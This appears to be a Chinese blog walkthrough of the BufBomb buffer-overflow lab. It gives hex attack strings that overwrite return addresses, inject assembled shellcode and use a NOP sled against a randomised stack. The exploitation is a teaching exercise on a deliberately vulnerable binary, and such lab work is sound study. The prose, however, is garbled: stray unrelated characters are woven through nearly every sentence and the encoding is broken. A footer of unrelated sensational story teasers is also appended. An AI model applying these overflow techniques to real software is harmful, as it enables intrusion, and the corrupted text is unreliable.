七分鐘搞定BufBomb

第一分鐘:棧幀

結(jié)構(gòu)如下


Stack Frame

第二分鐘:Candle

我們要讓getbuf函數(shù)不返回到test,而是返回到函數(shù)smoke嗜逻。那么涩僻,很直觀的,我們應(yīng)該去修改getbuf函數(shù)棧幀中的返回地址栈顷。通過(guò)分析bufbomb反匯編之后的代碼逆日,我們發(fā)現(xiàn)buf的開(kāi)始地址在-0x28(%ebp),而返回地址的存在從0x4(%ebp)之后的四個(gè)字節(jié)中萄凤。因此室抽,我們只需要在buf中輸入48個(gè)字節(jié),其中最后四個(gè)字節(jié)為smoke函數(shù)的地址(小端順序)靡努,即可坪圾。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 8b 04 08

第三分鐘:Sparkler

我們這次依然要改變getbuf的返回地址,只不過(guò)要返回到函數(shù)fizz惑朦,依照上一分鐘的步驟修改一下即可兽泄。不同的是,這一次漾月,我們還要修改fizz的參數(shù)病梢。通過(guò)分析bufbomb反匯編之后的代碼,我們發(fā)現(xiàn)是0x8(%ebp)0x804e104這兩個(gè)地址中的值發(fā)生了比較梁肿。很明顯蜓陌,后一個(gè)是全局變量cookie的值,所以我們要對(duì)前一個(gè)地址的值進(jìn)行修改吩蔑。

讓我們回想一下到fizz之前的過(guò)程钮热。首先,getbuf運(yùn)行到了返回烛芬,這時(shí)霉旗,它先movl %ebp, %esp,然后popl %ebp蛀骇,此時(shí)esp也因pop操作而加了4厌秒,指向返回地址,這部分是leave的操作擅憔。之后鸵闪,ret被調(diào)用,它的作用是popl eip, esp也因?yàn)?code>pop操作又加了4暑诸,這是eip中存儲(chǔ)的應(yīng)該是fizz的地址蚌讼。

到了fizz之后辟灰,首先還是要進(jìn)行push %ebpmovl %esp, %ebp。這樣篡石,fizz的棧幀中ebp的地址比getfuf的棧幀中ebp的地址高4芥喇,這種差異是由于我們并沒(méi)有像正常的執(zhí)行過(guò)程那樣將返回值壓棧造成的。所以凰萨,fizz中的val應(yīng)該在比getbufebp高12的地方继控。

知道了這些,我們就可以構(gòu)造字符串了胖眷。首先我們要重寫(xiě)getbuf的返回地址武通,這個(gè)和上一分鐘的做法基本相同,然后珊搀,我們要重寫(xiě)val參數(shù)冶忱,這個(gè)應(yīng)該放在ebp之后12比特開(kāi)始的4比特中。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 2e 8b 04 08 <- 這四個(gè)是覆蓋getbuf返回地址用的
00 00 00 00 42 2f 4f 7b <- 這四個(gè)是覆蓋val用的

第四分鐘:Firecracker

這一分鐘境析,我們需要修改全局變量了囚枪。在流程上,我們需要作出一些改變劳淆。原來(lái)是getbuf->xxx func眶拉,現(xiàn)在是getbuf->buf->xxx func。也就是說(shuō)憔儿,我們需要讓buf里的語(yǔ)句被運(yùn)行。所以放可,這一次谒臼,雖然我們還要覆蓋getbuf的返回地址,但是要讓它返回到buf里耀里。我們先用gdb看一下buf的地址蜈缤,方法很多,可以查ebp的地址然后運(yùn)算冯挎,也可以查傳入Gets的參數(shù)底哥。

之后,我們要查找global_value的地址房官。全局變量的地址是直接載入的趾徽,所以在反匯編的代碼里查就好。

然后翰守,我們就要開(kāi)始寫(xiě)hack代碼了孵奶。首先我們要修改global_value的值,用movl $0x7b4f2f42, 0x0804e10c把自己的cookie寫(xiě)進(jìn)去蜡峰。然后了袁,我們還要把bang的地址放進(jìn)eip來(lái)實(shí)現(xiàn)跳轉(zhuǎn)朗恳。pushl $0x08048b82然后ret即可。

最后把這段代碼匯編载绿,插入到攻擊字符串里粥诫。

c7 05 0c e1 04 08 42 2f <- hack代碼
4f 7b 68 82 8b 04 08 c3 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 98 38 68 55 <- buf的地址

第五分鐘:Dynamite

首先讓我們來(lái)分析一下我們改變了什么?eip最后會(huì)指向該繼續(xù)運(yùn)行的地址崭庸,所以沒(méi)有變怀浆;esp最后會(huì)變成調(diào)用后ebp的值,ebp的值沒(méi)有變冀自,所以esp也是正確的揉稚;棧被我們修改了,但是再返回后熬粗,我們修改的那部分都被pop掉了搀玖,所以也沒(méi)有變。唯一變了的就是原來(lái)的ebp的值驻呐,這個(gè)在我們hack的時(shí)候被覆蓋掉了(按我寫(xiě)的字符串來(lái)說(shuō)灌诅,會(huì)被覆蓋成0 0 0 0)。所以我們只需要修復(fù)一下ebp就好含末。

那么ebp的值應(yīng)該是什么呢猜拾?我們只需要用gdb,設(shè)置到test里任意位置的斷點(diǎn)佣盒,然后打印ebp就可以了挎袜。

movl    $0x7b4f2f42, %eax ; 放cookie
movl    $0x556838f0, %ebp ;回復(fù)一下ebp
pushl   $0x08048bf3       肥惭;push應(yīng)該返回的地址
ret                       盯仪;pop剛才壓進(jìn)去的地址到eip,實(shí)現(xiàn)跳轉(zhuǎn)蜜葱。

匯編后即可生成代碼全景,然后組合成攻擊字符串

b8 42 2f 4f 7b bd f0 38
68 55 68 f3 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55

第六分鐘:Nitroglycerin

這一分鐘和上一分鐘做的事沒(méi)什么區(qū)別,不同的是要對(duì)變化的棧地址進(jìn)行處理牵囤。

我們從文檔中知道爸黄,棧的size大于地址的變化幅度,因此老方法還行的通揭鳞。

對(duì)于攻擊字符串炕贵,我們需要修改三個(gè)地方:ebp還原,buf的填充野崇,以及返回地址鲁驶。

由于地址是不定的,所以我們不能再用固定的值還原ebp舞骆。我們?cè)?code>testn中可以發(fā)現(xiàn)钥弯,ebp-0x28esp径荔,所以可以用esp來(lái)計(jì)算。(esp在進(jìn)入getbuf之后變成了ebp脆霎,但是在運(yùn)行buf里的代碼的時(shí)候总处,leave代碼被運(yùn)行,這樣esp又變了回來(lái))

然后是buf填充睛蛛。之前是32鹦马,現(xiàn)在是512,所以填充的字符串長(zhǎng)度也要變成忆肾,其次荸频,我們應(yīng)該用nop(機(jī)器碼是90)來(lái)填充。(之前是什么都可以客冈,現(xiàn)在就不一樣了)

最后是返回地址旭从,之前設(shè)置為buf的首地址,不過(guò)由于現(xiàn)在不知道那是多少场仲,所以應(yīng)該直接試一下和悦,輸出每次的buf地址,選個(gè)比較大的渠缕,這樣鸽素,小的也會(huì)落在nop區(qū)里,總會(huì)運(yùn)行到hack代碼亦鳞。

90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 42 2f 2f

4f 7b 8d 6c 24 28 68 67
8c 04 08 c3 28 37 68 55

第七分鐘:寫(xiě)一下實(shí)驗(yàn)報(bào)告

如上

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末馍忽,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子燕差,更是在濱河造成了極大的恐慌遭笋,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,376評(píng)論 6 491
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件谁不,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡徽诲,警方通過(guò)查閱死者的電腦和手機(jī)刹帕,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,126評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)谎替,“玉大人偷溺,你說(shuō)我怎么就攤上這事∏幔” “怎么了挫掏?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,966評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)秩命。 經(jīng)常有香客問(wèn)我尉共,道長(zhǎng)褒傅,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,432評(píng)論 1 283
  • 正文 為了忘掉前任袄友,我火速辦了婚禮殿托,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘剧蚣。我一直安慰自己支竹,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,519評(píng)論 6 385
  • 文/花漫 我一把揭開(kāi)白布鸠按。 她就那樣靜靜地躺著礼搁,像睡著了一般。 火紅的嫁衣襯著肌膚如雪目尖。 梳的紋絲不亂的頭發(fā)上馒吴,一...
    開(kāi)封第一講書(shū)人閱讀 49,792評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音卑雁,去河邊找鬼募书。 笑死,一個(gè)胖子當(dāng)著我的面吹牛测蹲,可吹牛的內(nèi)容都是我干的莹捡。 我是一名探鬼主播,決...
    沈念sama閱讀 38,933評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼扣甲,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼篮赢!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起琉挖,我...
    開(kāi)封第一講書(shū)人閱讀 37,701評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤启泣,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后示辈,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體寥茫,經(jīng)...
    沈念sama閱讀 44,143評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,488評(píng)論 2 327
  • 正文 我和宋清朗相戀三年矾麻,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了纱耻。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,626評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡险耀,死狀恐怖弄喘,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情甩牺,我是刑警寧澤蘑志,帶...
    沈念sama閱讀 34,292評(píng)論 4 329
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響急但,放射性物質(zhì)發(fā)生泄漏澎媒。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,896評(píng)論 3 313
  • 文/蒙蒙 一羊始、第九天 我趴在偏房一處隱蔽的房頂上張望旱幼。 院中可真熱鬧,春花似錦突委、人聲如沸柏卤。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,742評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)缘缚。三九已至,卻和暖如春敌蚜,著一層夾襖步出監(jiān)牢的瞬間桥滨,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,977評(píng)論 1 265
  • 我被黑心中介騙來(lái)泰國(guó)打工弛车, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留齐媒,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,324評(píng)論 2 360
  • 正文 我出身青樓纷跛,卻偏偏與公主長(zhǎng)得像喻括,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子贫奠,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,494評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容